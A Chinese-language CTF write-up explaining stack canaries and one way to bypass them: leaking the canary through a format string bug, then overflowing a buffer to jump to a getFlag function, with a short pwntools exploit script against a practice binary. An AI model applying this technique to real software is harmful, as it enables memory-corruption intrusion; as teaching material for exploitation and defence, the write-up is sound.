前言:
金絲雀:
canary就像哨兵一樣,值由程序運行時隨機產生。在函數返回之前,程序檢測這個值以確認棧未被破壞,達到避免攻擊的目的。程序會使用fs:x來進行保護,這個地址指向了一個我們無法看到的隨機值,並且fs是一個由內核維護的結構。
如果金絲雀(canary)的值被修改了,棧溢出發生了,保存的指令指針可能也被修改了,因此不能安全返回,函數會調用__stack_chk_fail函數。這個函數會做些處理,然後丟出一個錯誤退出進程。
基本繞過方式:由於Canary保護僅僅是檢查canary是否被改寫,而不會檢查其他棧內容,因此如果攻擊者能夠泄露出canary的值(一般都是利用格式化字符串漏洞),便可以在構造攻擊負載時填充正確的canary,從而繞過canary檢查,達到實施攻擊的目的。
注意:一個程序中的所有函數應該都有棧保護。下述例子中每個函數的canary對比的地址都是fs:14,推斷所有函數返回前對比的隨機值都是一個!!!
例題:
查看程序詳細信息:
程序有着棧保護及NX保護,將文件拖入IDA中分析:
上圖中存在格式化字符串漏洞,可以直接利用其leak金絲雀的值。
fun函數中存在棧溢出的情況,查看程序其他函數發現 getFlag函數,那麼PWN此程序的思路就是使用格式化字符串漏洞leak金絲雀的值,然後添加canary再溢出即可。調試程序並leak金絲雀過程如下:
本文給fun函數下斷點方便分析:
運行程序:
輸入aaaa,繼續調試,:
發現canary的位置爲ebp - 0xc ,找到canary的位置,計算格式化字符串偏移量爲7:
進入fun函數繼續分析:
canary的位置在ebp + var_C,溢出點在ebp - 70h查看fun函數棧:
溢出點到fun函數內的canary距離爲 0x70 - 0x0c = 100,那麼payload如下:
from pwn import *
p = process('./bin')
payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
catFlag_addr = 0x0804863B
payload = 'A' * 100 + p32(canary) + 'A' * 12 + p32(catFlag_addr)
p.sendline(payload)
p.interactive()
運行結果如下:
可以看到 system ('cat flag')執行。
結語:
第一次繞過canary,寫的有點囉嗦,這種PWN的方法只是繞canary衆多方法中的一種,後續繼續更新。